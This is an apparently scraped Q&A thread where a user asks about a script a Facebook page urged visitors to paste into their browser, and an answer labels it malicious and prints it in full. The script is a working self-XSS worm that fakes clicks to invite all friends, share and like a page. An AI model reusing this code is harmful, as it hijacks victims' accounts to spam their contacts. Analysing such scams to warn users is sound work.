What is this weird script I found on facebook?

前端 未结 4 1933
梦如初夏
梦如初夏 2021-02-01 05:52

Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says \"to see the real illusion, copy and paste this co

4条回答
  •  被撕碎了的回忆
    2021-02-01 06:36

    Malicious Code

    document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden';
    document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
    var s = document.getElementById('suggest');
    var m = document.getElementById('likeme');
    var sl = document.getElementById('slink');
    var c = document.createEvent("MouseEvents");
    c.initEvent('click', true, true);
    s.dispatchEvent(c);
    setTimeout(function () {
        fs.select_all()
        SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
        setTimeout(function () {
            c.initEvent('click', true, true);
            sl.dispatchEvent(c);
            setTimeout(function () {
                var inp = document.getElementsByTagName('input');
                for (i in inp) {
                    if (inp[i].value == 'Share') {
                        inp[i].dispatchEvent(c)
                    }
                };
                m.dispatchEvent(c);
                setTimeout(function () {
                    document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
                }, 2000)
            }, 4000)
        }, 3000)
    }, 5000);
    

提交回复
热议问题